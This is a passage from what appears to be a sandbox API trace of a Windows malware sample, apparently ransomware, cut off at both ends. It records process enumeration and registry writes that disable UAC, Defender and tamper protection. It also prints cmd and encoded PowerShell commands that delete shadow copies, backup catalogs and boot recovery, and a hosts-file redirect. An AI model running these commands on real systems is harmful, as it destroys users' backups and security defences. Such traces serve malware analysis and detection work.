cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="undertaken.exe")) returned 1 [0051.599] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dressed.exe")) returned 1 [0051.599] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cr_tier.exe")) returned 1 [0051.600] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="oops terry.exe")) returned 1 [0051.601] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sum-poem-stanley.exe")) returned 1 [0051.601] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="apparel mercedes.exe")) returned 1 [0051.602] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="want-robinson.exe")) returned 1 [0051.602] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nissan_extension.exe")) returned 1 [0051.603] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="keyboard_remained_lucky.exe")) returned 1 [0051.604] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="origin.exe")) returned 1 [0051.604] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="exploringaidsoasis.exe")) returned 1 [0051.605] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="checklist.exe")) returned 1 [0051.605] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lifestylecalendar.exe")) returned 1 [0051.606] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sleepsmorris.exe")) returned 1 [0051.607] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.607] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.608] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.609] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.609] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.610] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x754, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.610] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.611] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.612] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.612] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.613] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.613] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.614] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.615] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.615] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.616] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.616] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.617] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0051.618] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.619] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.620] Process32NextW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0051.644] CloseHandle (hObject=0x24) returned 1 [0051.644] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x24 [0051.649] Process32FirstW (in: hSnapshot=0x24, lppe=0x18faf8 | out: lppe=0x18faf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.719] CloseHandle (hObject=0x24) returned 1 [0051.719] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/C sc config \"AppCheck\" start=disabled", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0065.960] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18fd1c, lpdwDisposition=0x18fd18 | out: phkResult=0x18fd1c*=0x114, lpdwDisposition=0x18fd18*=0x2) returned 0x0 [0066.125] RegSetValueExW (in: hKey=0x114, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x18fd28*=0x5, cbData=0x4 | out: lpData=0x18fd28*=0x5) returned 0x0 [0066.241] RegSetValueExW (in: hKey=0x114, lpValueName="ConsentPromptBehaviorUser", Reserved=0x0, dwType=0x4, lpData=0x18fd28*=0x3, cbData=0x4 | out: lpData=0x18fd28*=0x3) returned 0x0 [0066.241] RegSetValueExW (in: hKey=0x114, lpValueName="dontdisplaylastusername", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x0, cbData=0x4 | out: lpData=0x18fd24*=0x0) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="EnableInstallerDetection", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x0, cbData=0x4 | out: lpData=0x18fd24*=0x0) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="EnableSecureUIAPaths", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="EnableUIADesktopToggle", Reserved=0x0, dwType=0x4, lpData=0x18fd28*=0x5, cbData=0x4 | out: lpData=0x18fd28*=0x5) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="EnableVirtualization", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="FilterAdministratorToken", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x0, cbData=0x4 | out: lpData=0x18fd24*=0x0) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="legalnoticecaption", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="legalnoticetext", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="scforceoption", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x0, cbData=0x4 | out: lpData=0x18fd24*=0x0) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="shutdownwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.242] RegSetValueExW (in: hKey=0x114, lpValueName="undockwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.243] RegSetValueExW (in: hKey=0x114, lpValueName="ValidateAdminCodeSignatures", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x0, cbData=0x4 | out: lpData=0x18fd24*=0x0) returned 0x0 [0066.243] RegCloseKey (hKey=0x114) returned 0x0 [0066.243] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18fd1c, lpdwDisposition=0x18fd18 | out: phkResult=0x18fd1c*=0x114, lpdwDisposition=0x18fd18*=0x1) returned 0x0 [0066.245] RegSetValueExW (in: hKey=0x114, lpValueName="DisableAntiSpyware", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x1, cbData=0x4 | out: lpData=0x18fd24*=0x1) returned 0x0 [0066.245] RegCloseKey (hKey=0x114) returned 0x0 [0066.245] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Features", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x18fd1c, lpdwDisposition=0x18fd18 | out: phkResult=0x18fd1c*=0x114, lpdwDisposition=0x18fd18*=0x1) returned 0x0 [0066.246] RegSetValueExW (in: hKey=0x114, lpValueName="TamperProtection", Reserved=0x0, dwType=0x4, lpData=0x18fd24*=0x0, cbData=0x4 | out: lpData=0x18fd24*=0x0) returned 0x0 [0066.246] RegCloseKey (hKey=0x114) returned 0x0 [0066.265] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0066.479] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="powershell.exe", lpParameters="-e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0066.979] DeleteFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host")) returned 0 [0066.979] GetLastError () returned 0x2 [0066.979] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host")) returned 0xffffffff [0066.979] SetLastError (dwErrCode=0x2) [0067.301] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\host" (normalized: "c:\\windows\\system32\\drivers\\etc\\host"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0067.514] GetFileType (hFile=0x134) returned 0x1 [0067.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="127.0.0.1 validation.sls.microsoft.com", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0067.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="127.0.0.1 validation.sls.microsoft.com", cchWideChar=38, lpMultiByteStr=0x841d74, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="127.0.0.1 validation.sls.microsoft.com", lpUsedDefaultChar=0x0) returned 38 [0067.533] WriteFile (in: hFile=0x134, lpBuffer=0x5b0ad0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x18fd14, lpOverlapped=0x0 | out: lpBuffer=0x5b0ad0*, lpNumberOfBytesWritten=0x18fd14*=0x28, lpOverlapped=0x0) returned 1 [0068.043] CloseHandle (hObject=0x134) returned 1 [0068.060] QueryPerformanceCounter (in: lpPerformanceCount=0x18fce8 | out: lpPerformanceCount=0x18fce8*=18802548275) returned 1 [0068.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x80835c, cbMultiByte=16, lpWideCharStr=0x18ece4, cchWideChar=2047 | out: lpWideCharStr="0123456789ABCDEF") returned 16 [0068.513] GetCPInfo (in: CodePage=0xfde9, lpCPInfo=0x18fc98 | out: lpCPInfo=0x18fc98) returned 1 [0068.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B7E7F1017618C98DD22D2C8A5A391FB90D4778DA2A62BB65857AF512CC1A334B13D2132456C3A8997883E800F82F3F0732F336B5553A140F461D16A3787E2317E16F59F3383E40D1063BB65C67B8AB3B30D1FB7DF030EACE1AF31643055300B94860A0C051262208FDC99CA022701D09BF560434E0D10235D342B0B5A2E74868720CEA4F1698F541EE33F58209389646BA1B18413CADF4ECE693F111CF9C9BBA0C7E7D6841B995E8B096618B1EF46A1D532D0D0F327B2DCDBBA408D41208B16CD863D359D11E4F788E52B2DA990AEFEB2CAA006BA1726D292F866D6B6424D16F0C9EDB63095366B4C8280F701608F233BD19816A4F01D962136FB6CD042F5A07C23667595E87B2CF00C2950264AD820C1321053232A7BA2FDCE9F3FF417BCECBC775EC048BEC0C053C8A213B861DD36F6DDF928DC95A9D6BF2B0745EE2BD1268CF1AC5927FEBA3E168A167E9D4707CCB1F4446FAA223416724E68D7ABFE06FEFDDC8E0747B4DF94513E87E7CC87209B1E10381BCA36EDB7570A1F946F722F4836DA43F5DF612A646DF29C24B23D49A19CFA6F5FAE3BE956C1E9AB4CA0AE582BDFD190817CB7DA41D847EC11F18A9521CF8498D4FB0062B17A46F0F619DDEFE594DA6D5EEC8F511695B576EE6CD29E819C1FD5369B9603DB7D03140AD9BD74257841D74233E4481F99557C0D2DFF0EAA20135D96AC328DFBDA4253F7F2120FCFC0C94F88B966A89D4036613790DDE55BD94CA919BF6F16CC253D6DAD1B0298DBF437787EEB89A14626DA0167459D78E54BB9A9474AFBE7EE07700623DEC88FB5E2A43BA7A636B5220FE737CD12D43FCF6D8D4E", cchWideChar=1190, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1190 [0068.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B7E7F1017618C98DD22D2C8A5A391FB90D4778DA2A62BB65857AF512CC1A334B13D2132456C3A8997883E800F82F3F0732F336B5553A140F461D16A3787E2317E16F59F3383E40D1063BB65C67B8AB3B30D1FB7DF030EACE1AF31643055300B94860A0C051262208FDC99CA022701D09BF560434E0D10235D342B0B5A2E74868720CEA4F1698F541EE33F58209389646BA1B18413CADF4ECE693F111CF9C9BBA0C7E7D6841B995E8B096618B1EF46A1D532D0D0F327B2DCDBBA408D41208B16CD863D359D11E4F788E52B2DA990AEFEB2CAA006BA1726D292F866D6B6424D16F0C9EDB63095366B4C8280F701608F233BD19816A4F01D962136FB6CD042F5A07C23667595E87B2CF00C2950264AD820C1321053232A7BA2FDCE9F3FF417BCECBC775EC048BEC0C053C8A213B861DD36F6DDF928DC95A9D6BF2B0745EE2BD1268CF1AC5927FEBA3E168A167E9D4707CCB1F4446FAA223416724E68D7ABFE06FEFDDC8E0747B4DF94513E87E7CC87209B1E10381BCA36EDB7570A1F946F722F4836DA43F5DF612A646DF29C24B23D49A19CFA6F5FAE3BE956C1E9AB4CA0AE582BDFD190817CB7DA41D847EC11F18A9521CF8498D4FB0062B17A46F0F619DDEFE594DA6D5EEC8F511695B576EE6CD29E819C1FD5369B9603DB7D03140AD9BD74257841D74233E4481F99557C0D2DFF0EAA20135D96AC328DFBDA4253F7F2120FCFC0C94F88B966A89D4036613790DDE55BD94CA919BF6F16CC253D6DAD1B0298DBF437787EEB89A14626DA0167459D78E54BB9A9474AFBE7EE07700623DEC88FB5E2A43BA7A636B5220FE737CD12D43FCF6D8D4E", cchWideChar=1190, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1190 [0068.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B7E7F1017618C98DD22D2C8A5A391FB90D4778DA2A62BB65857AF512CC1A334B13D2132456C3A8997883E800F82F3F0732F336B5553A140F461D16A3787E2317E16F59F3383E40D1063BB65C67B8AB3B30D1FB7DF030EACE1AF31643055300B94860A0C051262208FDC99CA022701D09BF560434E0D10235D342B0B5A2E74868720CEA4F1698F541EE33F58209389646BA1B18413CADF4ECE693F111CF9C9BBA0C7E7D6841B995E8B096618B1EF46A1D532D0D0F327B2DCDBBA408D41208B16CD863D359D11E4F788E52B2DA990AEFEB2CAA006BA1726D292F866D6B6424D16F0C9EDB63095366B4C8280F701608F233BD19816A4F01D962136FB6CD042F5A07C23667595E87B2CF00C2950264AD820C1321053232A7BA2FDCE9F3FF417BCECBC775EC048BEC0C053C8A213B861DD36F6DDF928DC95A9D6BF2B0745EE2BD1268CF1AC5927FEBA3E168A167E9D4707CCB1F4446FAA223416724E68D7ABFE06FEFDDC8E0747B4DF94513E87E7CC87209B1E10381BCA36EDB7570A1F946F722F4836DA43F5DF612A646DF29C24B23D49A19CFA6F5FAE3BE956C1E9AB4CA0AE582BDFD190817CB7DA41D847EC11F18A9521CF8498D4FB0062B17A46F0F619DDEFE594DA6D5EEC8F511695B576EE6CD29E819C1FD5369B9603DB7D03140AD9BD74257841D74233E4481F99557C0D2DFF0EAA20135D96AC328DFBDA4253F7F2120FCFC0C94F88B966A89D4036613790DDE55BD94CA919BF6F16CC253D6DAD1B0298DBF437787EEB89A14626DA0167459D78E54BB9A9474AFBE7EE07700623DEC88FB5E2A43BA7A636B5220FE737CD12D43FCF6D8D4E", cchWideChar=1190, lpMultiByteStr=0x7d6518, cbMultiByte=1190, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7B7E7F1017618C98DD22D2C8A5A391FB90D4778DA2A62BB65857AF512CC1A334B13D2132456C3A8997883E800F82F3F0732F336B5553A140F461D16A3787E2317E16F59F3383E40D1063BB65C67B8AB3B30D1FB7DF030EACE1AF31643055300B94860A0C051262208FDC99CA022701D09BF560434E0D10235D342B0B5A2E74868720CEA4F1698F541EE33F58209389646BA1B18413CADF4ECE693F111CF9C9BBA0C7E7D6841B995E8B096618B1EF46A1D532D0D0F327B2DCDBBA408D41208B16CD863D359D11E4F788E52B2DA990AEFEB2CAA006BA1726D292F866D6B6424D16F0C9EDB63095366B4C8280F701608F233BD19816A4F01D962136FB6CD042F5A07C23667595E87B2CF00C2950264AD820C1321053232A7BA2FDCE9F3FF417BCECBC775EC048BEC0C053C8A213B861DD36F6DDF928DC95A9D6BF2B0745EE2BD1268CF1AC5927FEBA3E168A167E9D4707CCB1F4446FAA223416724E68D7ABFE06FEFDDC8E0747B4DF94513E87E7CC87209B1E10381BCA36EDB7570A1F946F722F4836DA43F5DF612A646DF29C24B23D49A19CFA6F5FAE3BE956C1E9AB4CA0AE582BDFD190817CB7DA41D847EC11F18A9521CF8498D4FB0062B17A46F0F619DDEFE594DA6D5EEC8F511695B576EE6CD29E819C1FD5369B9603DB7D03140AD9BD74257841D74233E4481F99557C0D2DFF0EAA20135D96AC328DFBDA4253F7F2120FCFC0C94F88B966A89D4036613790DDE55BD94CA919BF6F16CC253D6DAD1B0298DBF437787EEB89A14626DA0167459D78E54BB9A9474AFBE7EE07700623DEC88FB5E2A43BA7A636B5220FE737CD12D43FCF6D8D4E", lpUsedDefaultChar=0x0) returned 1190 [0068.729] GetCurrentThreadId () returned 0x9fc [0068.729] GetCurrentThreadId () returned 0x9fc [0068.729] GetCurrentThreadId () returned 0x9fc [0068.729] GetCurrentThreadId () returned 0x9fc [0068.729] GetCurrentThreadId () returned 0x9fc [0068.729] GetCurrentThreadId () returned 0x9fc [0068.729] QueryPerformanceCounter (in: lpPerformanceCount=0x18fce8 | out: lpPerformanceCount=0x18fce8*=18863053261) returned 1 [0068.823] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x80835c, cbMultiByte=16, lpWideCharStr=0x18ece4, cchWideChar=2047 | out: lpWideCharStr="0123456789ABCDEF") returned 16 [0068.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 